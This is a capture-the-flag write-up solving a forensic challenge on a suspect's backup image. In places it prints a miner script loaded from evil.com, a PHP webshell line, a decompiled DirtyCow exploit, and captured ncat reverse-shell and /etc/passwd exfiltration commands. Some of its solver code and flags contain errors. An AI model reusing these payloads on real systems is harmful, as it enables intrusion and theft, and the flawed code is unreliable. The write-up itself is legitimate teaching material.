Write-up Registration Challenge Hackercontest Summer 22

11. May 2022

In the summer semester of 2022, our "Hacker Contest" will be held again at Darmstadt University (TU) and Darmstadt University of Applied Sciences (h_da). In the popular course, students get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems within our PentestLab.

As every semester, prospective participants took on the Hacker Contest Challenge to qualify for participation.

If you are curious to know what a Hacker Contest Challenge looks like, or which flags you might have missed this time: This is our sample solution for the summer semester Hacker Contest Challenge.

Table of Contents

Scenario


While investigating various cyber crime cases, the investigators managed to get hold of a suspects backup containing the entire home directory of a foreign system. Internal analysis found neither hints about its origin nor evidence for involvement in illegal activities. Now the police department seeks professional help from cyber security experts to further analyze the backup.

The Challenge

Your task is to analyze the backup and to find additional information about its origin and evidence for potential cyber crime cases. During your analysis, you have to solve several small challenges were each solved challenge is rewarded with a flag of the following format: usd{<20 character String>}. In total 10 flags can be found.

Additionally some configurations within the backup file indicate a threat to the OPSEC. When you manage to find and list them within your solution, this will be used a tiebreake

Solution


Preparation

The backup is provided as an image file. We first check the images type and when mount it within our system:

[student@host ~]$ file image.img
image.img: Linux rev 1.0 ext4 filesystem data, UUID=e07e3695-dfbd-4263-b118-6c3bb402c607 (extents) (64bit) (large files) (huge files)
[student@host ~]$ mount image.img /mnt

Now we can investigate the backup contents within the /mnt folder.

Flag 1: Bad PDF redaction

As we already know, the backup contains a home folder. The only user folder contained within it is named jim. Within the Downloads folder of the backup, we find a boarding pass in PDF format:

[student@host ~]$ ls
ticket.pdf

The contents of ticket.pdf:

Boarding pass

Parts of the pdf are overlaid and no longer readable. However, just using the mouse to mark the redacted parts and copying them into the clipboard reveals their contents. An alternate approach is pdftotext:

[student@host /mnt/home/jim/Downloads]$ pdftotext ticket.pdf
[student@host /mnt/home/jim/Downloads]$ cat ticket.txt
...<SNIP>...
USD{94CE3A
47F3B9CC4F
4BBF}
...<SNIP>...

Flag 2: Blurred number plate

The Pictures folder contains a PNG image file:

[student@host /mnt/home/jim]$ ls Pictures
bought.png

The image shows a car, but the number plate is blurred.

The car

The blurring happens in a straight line which means a horizontal (motion) blur was applied. Recovering the original image can be done using different tools like gimp or photoshop, or by using image manipulation libraries. For this write-up, we use the skimage (pip install scikit-image) python library. Because we know that a horizontal blur is used, we can approximate the blurring kernel with a 3 x n matrix like this:

[
    [ 0, 0, 0, ... ],
    [ 1, 1, 1, ... ],
    [ 0, 0, 0, ... ]
]

First we need to crop the image such that only the plate is visible: Blurred Number Plate

All that's left is to find out an appropriate value for n.

import time
import numpy as np
from PIL import Image
from skimage.io import imsave,imread
from skimage import color, data, restoration
#convert the cropped image of the plate to grayscale
img = color.rgb2gray(imread('plate_only.png'))      
#test various lengths of the kernel
for motion_blur_len in range(3, 70):                
    #create the kernel
    psf = np.zeros((3, motion_blur_len))            
    psf[1] = np.ones(motion_blur_len)
    #use the wiener filter to deblur the image with chosen kernel
    deconvolved_img, _ = restoration.unsupervised_wiener(img, psf)      
    imsave('deblur_auto.png', deconvolved_img)
    image = Image.open('deblur_auto.png')
    image.show()
    time.sleep(2)

Deblurred Number Plate with kernel length 10: Deblurred Number Plate

Deblurred Number Plate with kernel length 30: Deblurred Number Plate

Deblurred Number Plate with kernel length 60: Deblurred Number Plate

Deblurred Number Plate with kernel length 68: Deblurred Number Plate

Flag 3: Crypto miner

Inside the /mnt/home/jim/tools/ directory we find amoung other files and directory a html file miner.html containing heavily obfuscated javascript.

[student@host /mnt/home/jim]$ ls tools
cat  ghidra  john  miner.html  PayloadsAllTheThings
<script src="https://evil.com/mminer.min.js"></script>
<script>
(function(_0x181de6,_0x97d6c1){function _0x5a1f8c(_0x8b9ffd,_0x2126bd,_0xa32fd3){return _0x2c53(_0xa32fd3- -0xb7,_0x8b9ffd);}function _0x3c934c(_0x49541c,_0x227bb7,_0x956b30){return _0x2c53(_0x49541c-0x1e7,_0x227bb7);}function _0x2df767(_0x2f4cf8,_0x2c71f7,_0x4e7cbc){return _0x2c53(_0x4e7cbc- -0x3be,_0x2f4cf8);}function _0x3545a8(_0x22a5e1,_0x248fa6,_0xdf02f4){return _0x2c53(_0x22a5e1-0x167,_0xdf02f4);}function _0x409406(_0x24cba3,_0x382575,_0x321626){return _0x2c53(_0x24cba3- -0x1c9,_0x382575);}var _0x2957d9=_0x181de6();while(!![]){try{var _0x1a5c53=-parseInt(_0x3c934c(0x393,'lWI!',0x3a7))/0x1+parseInt(_0x5a1f8c('Qg2Q',0xa9,0x91))/0x2+parseInt(_0x2df767('c[]N',-0x23d,-0x233))/0x3*(parseInt(_0x409406(-0x48,'r]!Y',-0x50))/0x4)+-parseInt(_0x3545a8(0x2b3,0x29e,'h0&v'))/0x5*(-parseInt(_0x5a1f8c('oNTO',0xb7,0xd1))/0x6)+parseInt(_0x409406(-0x2a,'pQrv',-0x2e))/0x7*(parseInt(_0x3545a8(0x2b2,0x2a6,'N@Rb'))/0x8)+-parseInt(_0x2df767('wjN2',-0x211,-0x22f))/0x9+-parseInt(_0x409406(-0x37,')ivL',-0x68))/0xa*(parseInt(_0x2df767('fcLd',-0x22e,-0x234))/0xb);if(_0x1a5c53===_0x97d6c1){break;}else{_0x2957d9['push'](_0x2957d9['shift']());}}catch(_0x54d54b){_0x2957d9['push'](_0x2957d9['shift']());}}}(_0x264e,0x5c312));function _0x31083c(_0x1b1b14){var _0xd952f3=_0x1b1b14();return _0xd952f3;}function _0x3d1e74(_0xe7588f){function _0x329a07(_0x52a248,_0x1518c0,_0x4ac632){return _0x2c53(_0x4ac632-0x281,_0x52a248);}var _0x1fe19a=_0x350ca5(0x34b,0x367,')U60')+'ar';if(_0xe7588f()[_0x32caef(-0x13b,-0x118,'O&XT')+_0x28a676(0x3f9,'Bmc#',0x412)](_0x350ca5(0x3b8,0x393,'r]!Y'))){return 0x1;}function _0x32caef(_0x246006,_0x3023b4,_0x4ebde1){return _0x2c53(_0x246006- -0x2b5,_0x4ebde1);}function _0x40bc9d(_0x3ccbd4,_0x2488de,_0x185787){return _0x2c53(_0x3ccbd4- -0x86,_0x2488de);}function _0x350ca5(_0x16a5ce,_0xb18ed2,_0x4c8fde){return _0x2c53(_0xb18ed2-0x20d,_0x4c8fde);}if(_0xe7588f()[_0x329a07('K[48',0x417,0x400)+_0x40bc9d(0xee,'AkxB',0xed)](_0x40bc9d(0xc3,'vK0V',0x9a))){return 0x2;}function _0x28a676(_0x34c7f8,_0x249563,_0x3d71cb){return _0x2c53(_0x3d71cb-0x26f,_0x249563);}if(_0xe7588f()[_0x32caef(-0x125,-0xf7,'q@iJ')+_0x40bc9d(0xd6,'xMu*',0x108)](_0x32caef(-0x16f,-0x144,')ivL'))){return 0x3;}if(_0xe7588f()[_0x350ca5(0x349,0x372,'Bmc#')
...<SNIP>...

The contained JavaScript should first be converted to a readable form by using e.g. an online JavaScript beautifier. Within the beautified code, we can find that function names were not obfuscated:

...<SNIP>...
 if (_0xa8d754(_0x268042) == (0x4 ^ 0x7)) startMining(_0x38ed76, _0xea05ff(_0x268042), _0x4c684f, _0x5921bb, _0x304de5);
...<SNIP>...

The function startMining strikes the eye and one of its parameters should be an address to the wallet it is mining for. To inspect the parameters we can edit the file and add a debugger statement. This creates a breakpoint and launches the build-in debugger of most common web browsers once the statement is reached.

...<SNIP>...
 if (_0xa8d754(_0x268042) == (0x4 ^ 0x7)) {debugger;startMining(_0x38ed76, _0xea05ff(_0x268042), _0x4c684f, _0x5921bb, _0x304de5);}
...<SNIP>...

Loading the modified JavaScript in a browser allows to investigate the arguments used for the startMinding function. We find that the expression _0xea05ff(_0x268042) gets evaluated to USD{5FA6C9B90D2E863D4FAA}.

Value of_0xea05ff(_0x268042)

Note: The file was obfuscated using https://obfuscator.io/ and prevents any calls to Console.log.

Flag 4: Reversing an exploit

Also in the tool directory we find a binary called cat. First we decompile the program using ghidra:

// main function
void FUN_0010174c(undefined8 param_1,long param_2)
{
 int iVar1;
 long in_FS_OFFSET;
 undefined local_a0 [8];
 size_t local_98;
 size_t local_90;
 char *local_88;
 char *local_80;
 size_t local_78;
 char *local_70;
 undefined4 local_68;
 undefined local_64;
 undefined8 local_10;

 local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
 // param_2 == argv[1] -> input string
 local_90 = strlen(*(char **)(param_2 + 8));  
 // apply some function to the string
 local_88 = (char *)FUN_00101231(*(undefined8 *)(param_2 + 8),local_90,local_a0);  

 iVar1 = strcmp(local_88,"SDt+TLwfFUF8t9xUR+S9tIsOQUkJSjoHTVJ="); 
 if (iVar1 == 0) {
     local_80 = "snScFCw6EV+6RnScGCseRUN=";
     local_78 = strlen("snScFCw6EV+6RnScGCseRUN=");
     local_98 = strlen(local_80);
     // decode some strings?
     local_70 = (char *)FUN_00101479(local_80,local_78,&local_98); 
     printf(local_70);
     // call cowroot
     FUN_00101591(); 
 }
 else {
     local_68 = 0x20746163;
     local_64 = 0;
     // prepare to call cat
     strcat((char *)&local_68,*(char **)(param_2 + 8));
     // call cat      
     system((char *)&local_68);    
 }
 /* WARNING: Subroutine does not return */
 exit(0);
}
undefined8 FUN_00101591(void)

{
  undefined *puVar1;
  ulong uVar2;
  long in_FS_OFFSET;
  undefined8 uStack96;
  char *local_58;
  long local_50;
  undefined *local_48;
  long local_40;

  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  uStack96 = 0x1015c6;
  puts("DirtyCow root privilege escalation");

./cat will run cowroot which will provide the attacker with a root shell if the kernel of the machine it is running on is vulnerable. The exploit was renamed to the innocent looking program cat and will act like it unless the correct passphrase is provided. It performs a modified base64 encoding algorithm on the input and compares it to a hard coded string. If the encoded input matches the string the exploit is executed. The challenge is the reverse the encoded string to clear text.

We want to observe what is happening inside the relevant part of the if section. To do this, run the program inside an C debugger like gdb, and set the value iVar1 which is checked inside the guard to true.

[student@host ~]$ gdb cat
(gdb)set disassembly-flavor intel
...
(gdb)r inp
...
(gdb)info file
...
 Entry point: 0x5555555550d0
...
(gdb)b *0x5555555550d0
...
(gdb)layout asm
#  step with si and n throught the program until the relevant section (if clause) is reached.

│    0x5555555557b7  mov    QWORD PTR [rbp-0x80],rax                                                                                                                         
│    0x5555555557bb  mov    rax,QWORD PTR [rbp-0x80]                                                                                                                         
│    0x5555555557bf  lea    rdx,[rip+0x842]   #0x555555556008                                                                                                          
│    0x5555555557c6  mov    rsi,rdx                                                                                                                                          
│    0x5555555557c9  mov    rdi,rax                                                                                                                                          
│    0x5555555557cc  call   0x555555555070 <strcmp@plt>  
│    0x5555555557d1  test   eax,eax     #  <--- if (iVar1==0)                                                                                                               
│    0x5555555557d3  jne    0x555555555852                                                                                                                                   
(gdb)b *0x5555555557d1
...
#  setting iVar1 == 0 to true
(gdb)set $eax=0
(gdb)c
Continuing.
0wned by pwnic0rn
[Detaching after vfork from child process 37666]
$  exit
#  "0wned by pwnic0rn" is not found in the binary, so local_80 is probably the encoded representation of "0wned by pwnic0rn" and FUN_00101479 is a decoding function
#  iVar1 = strcmp(local_88,"SDt+TLwfFUF8t9xUR+S9tIsOQUkJSjoHTVJ=");  <-- the encoded passphrase. If we pass this to the decoding function we should get the cleartext
(gdb)r inp
#  step with si and n until the adress of local_78 is loaded
│    0x5555555557bb  mov    rax,QWORD PTR [rbp-0x80]                                                                                                                         
│    0x5555555557bf  lea    rdx,[rip+0x842]        #  0x555555556008  <-- Location of "SDt+TLwfFUF8t9xUR+S9tIsOQUkJSjoHTVJ="                                                  
│    0x5555555557c6  mov    rsi,rdx                                                                                                                                          
│    0x5555555557c9  mov    rdi,rax                                                                                                                                          
│    0x5555555557cc  call   0x555555555070 <strcmp@plt>  
│    0x5555555557d1  test   eax,eaxTR [rbp-0x78],rax                                                                                                                         
│    0x5555555557d3  jne    0x555555555852[rbp-0x78]                                                                                                                         
│    0x5555555557d5  lea    rax,[rip+0x851]        #  0x55555555602d  <-- Location of local_80                                                                                
│  >  0x5555555557dc  mov    QWORD PTR [rbp-0x78],raxlt>,rcx                                                                                                                  
│    0x5555555557e0  mov    rax,QWORD PTR [rbp-0x78]                                                                                                                         
# set $rax to the location of the encoded passphrase
(gdb)set $rax=0x555555556008
(gdb)c
# now instead of decodeding the welcome message the passphrase will be decoded and printed 
...<SNIP>...
usd{d1ffb64frGc739na4t22z}

Another way to decode the passphrase is to notice the base64-like structure of the strings, and to look for a dictionary that is used to perform the encoding:

[student@host ~]$ strings cat
...<SNIP>...
SDt+TLwfFUF8t9xUR+S9tIsOQUkJSjoHTVJ=
snScFCw6EV+6RnScGCseRUN=
...<SNIP>...
Ahijklmnopqrstuvwxyz0BCDEFGQRST56789+/UVWXYZabcdefHIJKLMNOPg1234 #  <-- dictionary
...<SNIP>...

Once the dictionary is known tools like https://gchq.github.io/CyberChef/ or https://cryptii.com/pipes/text-to-base64 can be used to decode the string.

Flag 5: PHP webshell in image

Inside the tools folder of jim, we find a local clone of the popular PayloadsAllTheThings repository: /mnt/home/jim/tools/PayloadsAllTheThings. We should look for local changes:

[student@host ~]$ cd /mnt/home/jim/tools/PayloadsAllTheThings
[student@host /mnt/home/jim/tools/PayloadsAllTheThings]$ git ls-files . --exclude-standard --others
Upload Insecure Files/Picture Metadata/pwncat.jpg
[student@host /mnt/home/jim/tools/PayloadsAllTheThings]$ exiftool 'Upload Insecure Files/Picture Metadata/pwncat.jpg'
...<SNIP>...
Certificate                     : <?php system($_GET["cmd"]);   echo(bzk{53ll7m14093k2343197j});?>
...<SNIP>...

This is obviously a webshell which executes the command specified within the GET parameter cmd when evaluated by a PHP server. bzk{53ll7m14093k2343197j}, on the other hand, looks like an encoded Flag. Since {} was not encoded, a shifting cipher was probably used. We can now brute-force all possible shifts:

[student@host ~]$ echo bzk{53ll7m14093k2343197j} | tr 'A-Za-z' 'T-ZA-St-za-s' #shift by 19
usd{53ee7f14093d2343197c}

An alternative would be to use tools like dcode.fr which can guess the shift for us.

Flag 6: Firefox cookies

Within the backup, we also find a ~/.mozilla folder. This suggests that firefox was used on the foreign machine, and we may be able to obtain useful information from stored cookies. We find that the cookies.sqlite cookie storage of firefox contains a base64 encoded flag:

[student@host ~]$ cd /mnt/home/jim/.mozilla/firefox/xsds7s5w.default-release
[student@host /mnt/home/jim/.mozilla/firefox/xsds7s5w.default-release]$ sqlite3 cookies.sqlite
sqlite>  select * from moz_cookies;
...
9||SHOPPING_CART|{ 'items':[{'id': '123', 'size': 'XL', 'color':'black'}, {'id':345, 'size'='54', 'color'='grey'}]}|www.aclothingstore.com|/|1642584319|1642497930588553|1642497930588553|0|0|0|0|0|0
10||SESSION|dXNkezUwY2YxOTkxMjk2MGY2NTQ5MGIzfQo=|www.aclothingstore.com|/|1642584319|1642497930588553|1642497930588553|0|0|0|0|0|0

The SESSION cookie from aclothingstore.com contains a base 64 encoded string:

$ echo "dXNkezUwY2YxOTkxMjk2MGY2NTQ5MGIzfQo=" | base64 -d
usd{50cf19912960f65490b3}

Flag 7: Deleted Email

So far we looked at files that were still present within the image. One crucial step in analyzing disk images is looking for deleted files. This can be done with tools like photorec:

[student@host ~]$ photorec image.img
# it is important to select the ext4 fs
# the select "free space", otherwise photorec will attempt to restore all files on the fs
2 files saved
Recovery completed.
[student@host ~]$ tree recup_dir.1                   
recup_dir.1
├── f0253904.h
├── f0253944.txt
└── report.xml

The recovered file f0253944.txt contains some SMTP messages. In the second message the suspect asks for help:

...<HEADER>...
--------------jM6TOTqkLez3lo9Yy1nE8j9E
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit

Hi Leon,


since I helped you last time owning that website, I guess it's your turn.

I've been trying to find a string that passes these checks.


Cheers,

Jim

--------------jM6TOTqkLez3lo9Yy1nE8j9E
Content-Type: application/octet-stream; name="validateKey"
Content-Disposition: attachment; filename="validateKey"
Content-Transfer-Encoding: base64

f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBAAAAAAAABAAAAAAAAAAF
...<HEXDATA>...

First we separate the attachment, remove any line breaks and decode it.

# Extract the base64 encoded attachment from f0253944.txt
[student@host ~]$ cat attachment.64 | tr -d '\n\r' | base64 -d > data

Using the file command, we can find that the attachment is an executable ELF file. We can use opensource tools like ghidra to decompile the binary. Relevant parts of the decompiled binary are:

 int prime = prime_numbers[10]; // the 11th prime number

 char * num = argv[1];
 int valid = 1;
 int chk = (num[0] + num[10] + num[19]) << (num[1] + num[2]); 
 chk = chk >> (num[3] + num[4] - num[5]);
 chk = chk >> (27 -20 );
 chk = chk >> (30 + num[14]);
 i = 1;
 if (chk != -12){valid = 0;};
 if ((num[5] ^ num[7] ^ num[9] ^ num[4] ^ num[8]) != 71){valid = 0;};
 if (num[1] != (num[3] +17)){valid = 0;};
 if ((num[2] - num[19]) != (1 << 6) + 19){valid = 0;};
 if ((num[3] ^ num[19] << num[1]-90 )!= 67668){valid = 0;};
 if ((num[4] << num[9] - 70) != 1703936){valid = 0;};
 if ((num[5] ^ num[3] - 80 )!= 109){valid = 0;};
 if ((num[6] * num[1]) != 11615){valid = 0;};
 if (num[0] != 71){valid = 0;};
 if (num[19] != 33){valid = 0;};
 if (num[9] != 84){valid = 0;};
 if ((num[14] ^ num[5]) != 10){valid = 0;};
 if ((num[8] ^ num[3])  != 21){valid = 0;};
 if ((num[10] ^ 5) != 108){valid = 0;};
 if (num[11] != 115){valid = 0;};
 if ((num[12] >> 4 )!= 6){valid = 0;};
 if ((num[13] ^ num[14]) != 2){valid = 0;};
 if ((num[15] ^ num[12])!= 18){valid = 0;};
 if ((num[12] ^ num[3])!= 50){valid = 0;};
 if ((num[16] + num[19] )!= 138){valid = 0;};
 if (num[17] != (num[1] + 10)){valid = 0;};
 if (num[18] != (prime + 79)){valid = 0;};

 if (valid){printf("%s", "Nice!\n" );printf("usd{%s}", num);}
 else {
 printf("%s", "Key is not valid");
 }
 return 0;

The program validates several assertions over the input string, if they hold, the input string represents the correct flag and is returned. We can solve this challenge either by guessing (brute-force method) or by the usage of a theorem prover. In this solution, we use Z3 (pip3 install z3-solver), but different options are available.

#!/usr/bin/python
from z3 import *
def sieve(n):
     multiples = []
     primes = []
     for i in range(2, n+1):
        if i not in multiples:
            primes.append(i)

        for j in range(i*i, n+1, i):
            multiples.append(j)

     return primes

prime = sieve(100)[10]
num = [BitVec("num[%d]" % i,32)for i in range(0,20)]

z3_solver = Solver()
flag = ""
z3_solver.add((num[5] ^ num[7] ^ num[9] ^ num[4] ^ num[8] == 71))
z3_solver.add((num[1] == num[3] +17))
z3_solver.add((num[2] - num[19] == (1 << 6) + 19))
z3_solver.add((num[3] ^ num[19] << num[1]-90 == 67668))
z3_solver.add((num[4] << num[9] - 70 == 1703936))
z3_solver.add((num[5] ^ num[3] - 80 == 109))
z3_solver.add((num[6] * num[1] == 11615))
z3_solver.add((num[0] == 71))
z3_solver.add((num[19] == 33))
z3_solver.add((num[9] == 84))
z3_solver.add((num[14] ^ num[5] == 10))
z3_solver.add((num[8] ^ num[3]  == 21))
z3_solver.add((num[10] ^ 5 == 108))
z3_solver.add((num[11] == 115))
z3_solver.add((num[12] >> 4 == 6))
z3_solver.add((num[13] ^ num[14] == 2))
z3_solver.add((num[15] ^ num[12]== 18))
z3_solver.add((num[12] ^ num[3]== 50))
z3_solver.add((num[16] + num[19] == 138))
z3_solver.add((num[17] == num[1] + 10))
z3_solver.add((num[18] == prime + 79)) 

#solution has to be printable ascii
for i in range(0,len(num)):
     z3_solver.add(num[i] >= 0x20 , num[i] <= 0x7f )

if z3_solver.check() == sat:
     sol = z3_solver.model()

for i in range(20):
     flag += chr(int(str(sol[num[i]])))

print (flag)

Now Z3 can try to find a string that satisfies all rules:

[student@host ~]$ python solve.py
GetThisSATisfaction!
[student@host ~]$ ./binary GetThisSATisfaction!
Nice!
usd{getThisSATisfaction}

Flag 8: Stegano / important cat

When we obtained Flag 7 we recovered some SMTP traffic. Within it, we can find another mail asking the receiver to urgently open an image of an important cat.

--------------k4AReqfas8Rd90gqnwrSa85a--
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit

Jack,

I've found this Image of a cat. It's so funny, make sure to INSPECT it NOW!
http://evil.com/cat.jpg

Since firefox was used earlier, we can try to check whether this image was cached by the browser.

The Firefox cache is located under /mnt/home/jim/.cache/mozilla/firefox/.default-release/cache2/entries/. Inside this folder we find the image 75EEE736F281F5693206FCC7026B0C4F0E1AE0C0 of a cat. We can check whether hidden information is contained within the image using steghide. Indeed, we find a flag:

[student@host ~]$ steghide extract -sf 75EEE736F281F5693206FCC7026B0C4F0E1AE0C0 -xf out
[student@host ~]$ cat out
Meet in 20min. 33.3926515013514, -117.2347743334174. L
usd{7df5e7013803c097abbc}

Flag 9: Weak Encryption

When we obtained Flag 7, there was another file recovered we did not look at so far: f0253904.h. This file contains some dumped network traffic:

No.     Time           Source                Destination           Protocol Length Info
     1 1.054457546    92.117.32.15             112.0.1.12        HTTP     876    POST / HTTP/1.1  (JPEG JFIF image)

Hypertext Transfer Protocol
    POST / HTTP/1.1\r\n
    ...<HTTP data>...
MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "---------------------------307417106128493101451432141175"
    [Type: multipart/form-data]
    First boundary: -----------------------------307417106128493101451432141175\r\n
    Encapsulated multipart part:  (image/jpeg)
        Content-Disposition: form-data; name="file"; filename="pwncat.jpg.php"\r\n
        Content-Type: image/jpeg\r\n\r\n
        JPEG File Interchange Format
        ...<Image Data>...

No.     Time           Source                Destination           Protocol Length Info
     2 1.058823489    112.0.1.12        92.117.32.15             HTTP     502    HTTP/1.0 200 OK  (text/html)

Hypertext Transfer Protocol
    HTTP/1.0 200 OK\r\n
    ...<HTTP data>...
Line-based text data: text/html (7 lines)
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>\n
    <title>Upload Result Page</title>\n
    <body>\n
    <h2>Upload Result Page</h2>\n
    <hr>\n
     [truncated]<strong>Success:</strong>File '/home/user/uploads/image/pwncat.jpg.php' upload success!<br><a href="http://112.0.1.12:8088/">back</a><hr><small>
    </html>\n

No.     Time           Source                Destination           Protocol Length Info
      3 10.000890212    92.117.32.15             112.0.1.12        HTTP     459    GET /upload/images/pwncat.jpg?cmd=%22ncat%2010.0.2.15%202222%20-e%20/bin/bash%22 HTTP/1.1 

Hypertext Transfer Protocol
    GET /upload/images/pwncat.jpg.php?cmd=%22ncat%2092.117.32.15%202222%20-e%20/bin/bash%22 HTTP/1.1\r\n
    ...<HTTP data>...
    [Full request URI: http://112.0.1.12:8080/upload/images/pwncat.jpg.php?cmd=%22ncat%2092.117.32.15%202222%20-e%20/bin/bash%22]
    [HTTP request 1/1]

No.     Time           Source                Destination           Protocol Length Info
      4 38.122022330   92.117.32.15             112.0.1.12              TCP      135    80  59642 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=81

Hypertext Transfer Protocol
    wget 92.117.32.15:8000/tools/cat.c -O /dev/shm/cat.c && wget 10.0.2.15:8000/.local/bin/enc -O /dev/shm/enc && gcc /dev/shm/cat.c -pthread\n
        [Expert Info (Warning/Protocol): Illegal characters found in header name]
            [Illegal characters found in header name]
            [Severity level: Warning]
            [Group: Protocol]

No.     Time           Source                Destination           Protocol Length Info
     5 79.550917943   92.117.32.15             112.0.1.12              TCP      127    80  59642 [PSH, ACK] Seq=177 Ack=1 Win=64240 Len=73

Hypertext Transfer Protocol
    wget 92.117.32.15:8000/?exfit=$(python /dev/shm/enc $(cat /etc/passwd) ***)\n
        [Expert Info (Warning/Protocol): Illegal characters found in header name]
            [Illegal characters found in header name]
            [Severity level: Warning]
            [Group: Protocol]

No.     Time           Source                Destination           Protocol Length Info
      6 80.000715420    112.0.1.12              92.117.32.15             HTTP     379    GET /?exfilt=FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFEVo= HTTP/1.1 

    TCP payload (325 bytes)
Hypertext Transfer Protocol
    GET /?exfilt=FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFEVo= HTTP/1.1\r\n
    ...<HTTP data>...
    [Full request URI: http://92.117.32.15:2222/?exfilt=FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFEVo=]
    [HTTP request 1/1]
    [Response in frame: 14]

Inside the dump, we find the following command, which was executed on a remote machine uploading the the webshell from Flag 8 and establishing a reverse shell.

wget '92.117.32.15:8000/tools/cat.c -O /dev/shm/cat.c && wget 10.0.2.15:8000/.local/bin/enc -O /dev/shm/enc && gcc /dev/shm/cat.c -pthread'

This command downloads the cat program, as well as the enc script to the victims' server. Later the attacker then tries to encrypt the /etc/passwd/ file using the enc script and attempts to exfiltrate it:

wget '92.117.32.15:8000/?exfit=$(python /dev/shm/enc $(cat /etc/passwd) ***)'

We can find the encrypted passwd file within the network traffic too:

GET /?exfilt=FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFEVo= HTTP/1.1\r\n

We can find the enc script within the .local/bin folder of jims home directory: /mnt/home/jim/.local/bin/enc:

def enc(s,k): 
    data = "DATA="+s its = int(math.ceil( len(data) / 20)) 
    toenc = data.ljust(its*20) 
    key = k * its 
    exfilt = base64.b64encode(b''.join(chr(ord(a) ^ ord(b)).encode() 
    for a,b in zip(toenc,key))) 
        print(exfilt) 

enc(sys.argv[1],sys.argv[2])

This script takes two arguments: the message to encrypt and the encryption secret and performs an XOR encryption. In theory XOR encryption is perfectly safe as long keys are not reused, but this implementation contains a number of flaws allowing us to break the encryption. First we know that DATA= well be prepended to the message, and second the message will be padded to a length of a multiple of 20, only using spaces.

This means that we immediately know the first 5 characters of the secret. By guessing how many spaces n are appended to the data, we know the last n characters of the secret.

secret structure (c for arbitrary character)
|         "ccccc"        |        "c" * (20-n-5)             |         "c" * n
| cipher[0:4] ^ 'DATA='  | this part needs to be bruteforced |   cipher[-20 + n:] ^ ' '*n

We use this to our advantage and break the encryption using the following script:

import base64
from itertools import cycle

def brute(cipher):
     cipher = base64.b64decode(cipher).decode()
     key_data = []

     for i in range(0,5):
         for test in product(string.printable, repeat=1):

             if chr(ord(cipher[i]) ^ ord(''.join(test)) ) == "DATA="[i]:
                 key_data.append(''.join(test))
                 print('ERROR NO "DATA=" IN MESSAGE')
                 break   

     print(f"found the first 5 chars or the key: {''.join(key_data)}")

     for i in range(5,19):  # at most 15 padded characters
         print(f"assuming the last {20-i} chars are padded:")
         for perm in product(string.printable, repeat=i-5):
             padded_part = ''.join( chr( ord(' ') ^ ord(c)) for c in  cipher[-(20-i):])
             key = ''.join(key_data) + ''.join(perm) + padded_part
             dec = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(cipher, cycle(key)))

         if re.findall(r'.*usd\{[0-9A-Za-z]{20}\}.*', dec) and dec[-(20-i):] == " "*(20-i):
         # since we know /etc/passwd was encrypted we can look for standard lines like "DATA=root:x:0:0::/root:/bin/bash" or similar strings to verify that we have guessed the correct key
             print('Found Match!')
             print('Cleartext: ' + dec)
             print('Key: '+key)

print(brute('FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFEVo='))

Executing it provides us the encryption key:

[student@host ~]$ python sol.py
found the first 5 chars or the key: Qpw15
assuming the last 15 chars are padded:
assuming the last 14 chars are padded:
assuming the last 13 chars are padded:
assuming the last 12 chars are padded:
Found Match!
Cleartext: DATA=root:x:0:0::/root:/bin/bash
user:x:10000:10000:usd{badEncryption1234567}:/home/user:/bin/bash
bin:x:1:1::/:/usr/bin/nologin 
Key: Qpw151ASDter15Ytr%1z

In a different approach, since we know that /etc/passwd was encrypted, we can assume that the first line in the passwd file is root:x:0:0::/root:/bin/bash. With this assumption, the key can also be recovered:

[student@host ~]$ python
>>>> from itertools import cycle
>>>> import base64
>>>> cipher = base64.b64decode(''FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFE'').decode()
>>>> guess = 'DATA=root:x:0:0::/root:/bin/bash'
>>>> key = ''.join(chr(ord(c) ^ ord(m)) for (c,m) in zip(cipher[:20], guess[:20]))
>>>> message = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(cipher, cycle(key)))
